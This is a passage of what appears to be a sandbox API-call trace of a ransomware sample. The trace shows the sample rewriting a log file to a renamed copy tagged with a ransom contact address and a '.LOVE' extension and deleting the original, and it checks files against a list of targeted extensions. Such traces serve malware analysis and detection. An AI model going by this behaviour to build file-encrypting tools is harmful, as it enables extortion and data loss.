lpStartAddress=0x408d90, lpParameter=0x79e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0191.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0191.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0191.234] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd50 [0191.234] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd50, Size=0x20) returned 0x7c57c0 [0191.234] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd20 [0191.234] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd20, Size=0x20) returned 0x7c5810 [0191.234] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0191.235] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0191.235] Wow64DisableWow64FsRedirection (in: OldValue=0x29dff7c | out: OldValue=0x29dff7c*=0x0) returned 1 [0191.235] lstrlenW (lpString="kernel32.dll") returned 12 [0191.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c57c0 | out: hHeap=0x790000) returned 1 [0191.235] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5810 | out: hHeap=0x790000) returned 1 [0191.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x812c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0191.235] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0191.371] GetTickCount () returned 0x44d51 [0191.371] GetTickCount () returned 0x44d51 [0191.371] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0192.601] GetTickCount () returned 0x45223 [0192.601] GetTickCount () returned 0x45223 [0192.601] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0192.849] GetTickCount () returned 0x4531d [0192.849] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0194.232] GetTickCount () returned 0x4587c [0194.233] GetTickCount () returned 0x4588c [0194.233] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0194.457] GetTickCount () returned 0x45957 [0194.457] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0194.783] GetTickCount () returned 0x45a9f [0194.783] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0195.084] GetTickCount () returned 0x45bd8 [0195.084] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0196.117] GetTickCount () returned 0x45fdf [0196.117] GetTickCount () returned 0x45fdf [0196.117] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0196.322] GetTickCount () returned 0x460aa [0196.322] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0196.973] GetTickCount () returned 0x4633a [0196.973] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0197.107] GetTickCount () returned 0x463b7 [0197.107] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0197.201] GetTickCount () returned 0x46415 [0197.201] GetTickCount () returned 0x46415 [0197.201] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0197.859] GetTickCount () returned 0x466b5 [0197.859] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0198.218] GetTickCount () returned 0x4681c [0198.218] GetTickCount () returned 0x4681c [0198.218] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0198.431] GetTickCount () returned 0x468e8 [0198.431] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0198.541] GetTickCount () returned 0x46955 [0198.541] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0198.647] GetTickCount () returned 0x469b3 [0198.647] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0198.880] GetTickCount () returned 0x46a9d [0198.880] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0199.217] GetTickCount () returned 0x46bf5 [0199.217] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0199.326] GetTickCount () returned 0x46c62 [0199.326] GetTickCount () returned 0x46c62 [0199.326] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0199.603] GetTickCount () returned 0x46d6c [0199.603] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0199.699] GetTickCount () returned 0x46dd9 [0199.699] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0199.814] GetTickCount () returned 0x46e47 [0199.814] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0199.921] GetTickCount () returned 0x46eb4 [0199.921] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.028] GetTickCount () returned 0x46f21 [0200.028] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.253] GetTickCount () returned 0x46ffc [0200.253] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.387] GetTickCount () returned 0x47089 [0200.387] GetTickCount () returned 0x47089 [0200.387] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.500] GetTickCount () returned 0x470f6 [0200.500] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.605] GetTickCount () returned 0x47163 [0200.606] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.715] GetTickCount () returned 0x471d1 [0200.715] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.824] GetTickCount () returned 0x4723e [0200.824] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0200.965] GetTickCount () returned 0x472cb [0200.965] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0201.074] GetTickCount () returned 0x47338 [0201.074] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0201.215] GetTickCount () returned 0x473c5 [0201.215] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0201.345] GetTickCount () returned 0x47451 [0201.345] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0201.449] GetTickCount () returned 0x474af [0201.449] GetTickCount () returned 0x474af [0201.449] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0201.799] GetTickCount () returned 0x47607 [0201.799] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0202.192] GetTickCount () returned 0x4779d [0202.192] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0202.840] GetTickCount () returned 0x47a1e [0202.840] GetTickCount () returned 0x47a1e [0202.840] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0203.634] GetTickCount () returned 0x47d3b [0203.634] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0204.014] GetTickCount () returned 0x47ec1 [0204.014] GetTickCount () returned 0x47ec1 [0204.014] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0204.571] GetTickCount () returned 0x480e4 [0204.571] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0205.018] GetTickCount () returned 0x4829a [0205.018] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0205.330] GetTickCount () returned 0x483d2 [0205.330] GetTickCount () returned 0x483d2 [0205.330] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0205.428] GetTickCount () returned 0x48440 [0205.428] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0205.580] GetTickCount () returned 0x484cc [0205.580] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0206.059] GetTickCount () returned 0x486b1 [0206.059] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0206.729] GetTickCount () returned 0x48950 [0206.729] GetTickCount () returned 0x48950 [0206.729] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0207.334] GetTickCount () returned 0x48bb2 [0207.334] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0208.034] GetTickCount () returned 0x48e61 [0208.034] GetTickCount () returned 0x48e61 [0208.034] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0208.659] GetTickCount () returned 0x490d2 [0208.659] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0209.092] GetTickCount () returned 0x49288 [0209.092] GetTickCount () returned 0x49288 [0209.092] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0209.724] GetTickCount () returned 0x49508 [0209.724] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0210.005] GetTickCount () returned 0x49622 [0210.005] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0210.340] GetTickCount () returned 0x4976a [0210.340] GetTickCount () returned 0x4976a [0210.340] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0210.674] GetTickCount () returned 0x498c2 [0210.674] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0210.813] GetTickCount () returned 0x4993f [0210.813] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0210.913] GetTickCount () returned 0x499ac [0210.913] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.110] GetTickCount () returned 0x49a67 [0211.110] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.209] GetTickCount () returned 0x49ad5 [0211.209] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.320] GetTickCount () returned 0x49b42 [0211.320] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.471] GetTickCount () returned 0x49bde [0211.471] GetTickCount () returned 0x49bde [0211.471] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.581] GetTickCount () returned 0x49c4c [0211.581] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.690] GetTickCount () returned 0x49cb9 [0211.690] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.800] GetTickCount () returned 0x49d27 [0211.800] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0211.946] GetTickCount () returned 0x49db3 [0211.946] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0212.083] GetTickCount () returned 0x49e40 [0212.083] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0212.192] GetTickCount () returned 0x49ead [0212.192] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0212.760] GetTickCount () returned 0x4a0e0 [0212.760] GetTickCount () returned 0x4a0e0 [0212.760] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0212.886] GetTickCount () returned 0x4a15d [0212.886] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.050] GetTickCount () returned 0x4a209 [0213.050] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.162] GetTickCount () returned 0x4a276 [0213.162] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.274] GetTickCount () returned 0x4a2e3 [0213.274] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.438] GetTickCount () returned 0x4a380 [0213.438] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.534] GetTickCount () returned 0x4a3ed [0213.534] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.644] GetTickCount () returned 0x4a45a [0213.644] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.753] GetTickCount () returned 0x4a4c8 [0213.753] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0213.866] GetTickCount () returned 0x4a535 [0213.866] GetTickCount () returned 0x4a535 [0213.866] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.001] GetTickCount () returned 0x4a5b2 [0214.001] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.136] GetTickCount () returned 0x4a63f [0214.136] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.237] GetTickCount () returned 0x4a6ac [0214.237] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.351] GetTickCount () returned 0x4a719 [0214.351] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.456] GetTickCount () returned 0x4a787 [0214.456] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.567] GetTickCount () returned 0x4a7f4 [0214.567] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.688] GetTickCount () returned 0x4a862 [0214.688] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.804] GetTickCount () returned 0x4a8df [0214.804] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0214.910] GetTickCount () returned 0x4a94c [0214.910] GetTickCount () returned 0x4a94c [0214.910] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0215.015] GetTickCount () returned 0x4a9aa [0215.015] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0215.122] GetTickCount () returned 0x4aa17 [0215.122] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0215.296] GetTickCount () returned 0x4aac3 [0215.296] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0215.431] GetTickCount () returned 0x4ab40 [0215.431] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0217.341] GetTickCount () returned 0x4b2c2 [0217.341] GetTickCount () returned 0x4b2c2 [0217.341] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0217.583] GetTickCount () returned 0x4b3ac [0217.583] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0217.739] GetTickCount () returned 0x4b448 [0217.739] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0217.842] GetTickCount () returned 0x4b4b6 [0217.842] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0217.955] GetTickCount () returned 0x4b523 [0217.956] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0218.060] GetTickCount () returned 0x4b591 [0218.060] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0218.201] GetTickCount () returned 0x4b61d [0218.201] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0218.413] GetTickCount () returned 0x4b6f8 [0218.413] GetTickCount () returned 0x4b6f8 [0218.413] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0218.592] GetTickCount () returned 0x4b7a4 [0218.592] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0219.005] GetTickCount () returned 0x4b93a [0219.005] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0219.413] GetTickCount () returned 0x4bad0 [0219.413] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0219.523] GetTickCount () returned 0x4bb3e [0219.523] GetTickCount () returned 0x4bb3e [0219.523] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0219.692] GetTickCount () returned 0x4bbf9 [0219.692] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0219.802] GetTickCount () returned 0x4bc57 [0219.802] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0220.057] GetTickCount () returned 0x4bd51 [0220.057] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0220.584] GetTickCount () returned 0x4bf64 [0220.584] GetTickCount () returned 0x4bf64 [0220.584] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0220.758] GetTickCount () returned 0x4c010 [0220.758] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0221.311] GetTickCount () returned 0x4c243 [0221.311] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0221.668] GetTickCount () returned 0x4c39a [0221.668] GetTickCount () returned 0x4c39a [0221.668] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0221.856] GetTickCount () returned 0x4c465 [0221.856] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.072] GetTickCount () returned 0x4c531 [0222.072] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.172] GetTickCount () returned 0x4c59e [0222.172] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.280] GetTickCount () returned 0x4c60b [0222.280] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.406] GetTickCount () returned 0x4c688 [0222.406] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.545] GetTickCount () returned 0x4c715 [0222.545] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.697] GetTickCount () returned 0x4c7a2 [0222.697] GetTickCount () returned 0x4c7a2 [0222.697] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.796] GetTickCount () returned 0x4c80f [0222.796] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0222.904] GetTickCount () returned 0x4c87c [0222.904] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) returned 0x102 [0223.013] GetTickCount () returned 0x4c8ea [0223.013] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x64) Thread: id = 13 os_tid = 0x8f0 [0194.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3d00980 [0194.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3d10988 [0194.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee2d8 [0194.587] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec260 [0194.588] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0c8 [0194.588] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4199020 [0194.590] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0e0 [0194.590] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee0e0, Size=0x20) returned 0x7e0110 [0194.590] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee350 [0194.590] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee350, Size=0x20) returned 0x7e02c8 [0194.591] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.591] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.591] Wow64DisableWow64FsRedirection (in: OldValue=0x26dff50 | out: OldValue=0x26dff50*=0x0) returned 1 [0194.591] lstrlenW (lpString="kernel32.dll") returned 12 [0194.591] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0110 | out: hHeap=0x790000) returned 1 [0194.591] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.591] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e02c8 | out: hHeap=0x790000) returned 1 [0194.591] Sleep (dwMilliseconds=0x64) [0194.785] lstrcmpiW (lpString1=".log", lpString2=".LOVE") returned -1 [0194.785] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0194.785] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.998] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=40) returned 1 [0194.998] CloseHandle (hObject=0x2b4) returned 1 [0194.998] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0194.998] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.999] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.999] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.999] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.999] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0194.999] GetLastError () returned 0x0 [0194.999] ReadFile (in: hFile=0x2b4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x28, lpOverlapped=0x0) returned 1 [0195.012] WriteFile (in: hFile=0x2a8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x30, lpOverlapped=0x0) returned 1 [0195.013] ReadFile (in: hFile=0x2b4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.013] WriteFile (in: hFile=0x2a8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x110, lpOverlapped=0x0) returned 1 [0195.013] SetEndOfFile (hFile=0x2a8) returned 1 [0195.014] CloseHandle (hObject=0x2a8) returned 1 [0195.020] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.020] SetEndOfFile (hFile=0x2b4) returned 1 [0195.021] CloseHandle (hObject=0x2b4) returned 1 [0195.021] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0195.021] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0195.022] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.022] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.022] lstrlenW (lpString=".doc") returned 4 [0195.022] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0195.022] lstrlenW (lpString=".docx") returned 5 [0195.022] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0195.022] lstrlenW (lpString=".pdf") returned 4 [0195.022] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0195.022] lstrlenW (lpString=".xls") returned 4 [0195.022] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0195.022] lstrlenW (lpString=".xlsx") returned 5 [0195.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0195.022] lstrlenW (lpString=".ppt") returned 4 [0195.022] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0195.022] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.022] lstrlenW (lpString=".zip") returned 4 [0195.022] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0195.022] lstrlenW (lpString=".rar") returned 4 [0195.022] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0195.022] lstrlenW (lpString=".bz2") returned 4 [0195.023] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0195.023] lstrlenW (lpString=".7z") returned 3 [0195.023] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0195.023] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.023] lstrlenW (lpString=".dbf") returned 4 [0195.023] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0195.023] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.023] lstrlenW (lpString=".1cd") returned 4 [0195.023] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0195.023] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.023] lstrlenW (lpString=".jpg") returned 4 [0195.023] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0195.023] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.023] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.023] lstrlenW (lpString=".doc") returned 4 [0195.023] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0195.023] lstrlenW (lpString=".docx") returned 5 [0195.023] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0195.023] lstrlenW (lpString=".pdf") returned 4 [0195.023] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0195.023] lstrlenW (lpString=".xls") returned 4 [0195.023] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0195.023] lstrlenW (lpString=".xlsx") returned 5 [0195.023] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0195.023] lstrlenW (lpString=".ppt") returned 4 [0195.023] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0195.023] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.023] lstrlenW (lpString=".zip") returned 4 [0195.024] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0195.024] lstrlenW (lpString=".rar") returned 4 [0195.024] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0195.024] lstrlenW (lpString=".bz2") returned 4 [0195.024] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0195.024] lstrlenW (lpString=".7z") returned 3 [0195.024] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0195.024] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.024] lstrlenW (lpString=".dbf") returned 4 [0195.024] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0195.024] lstrlenW 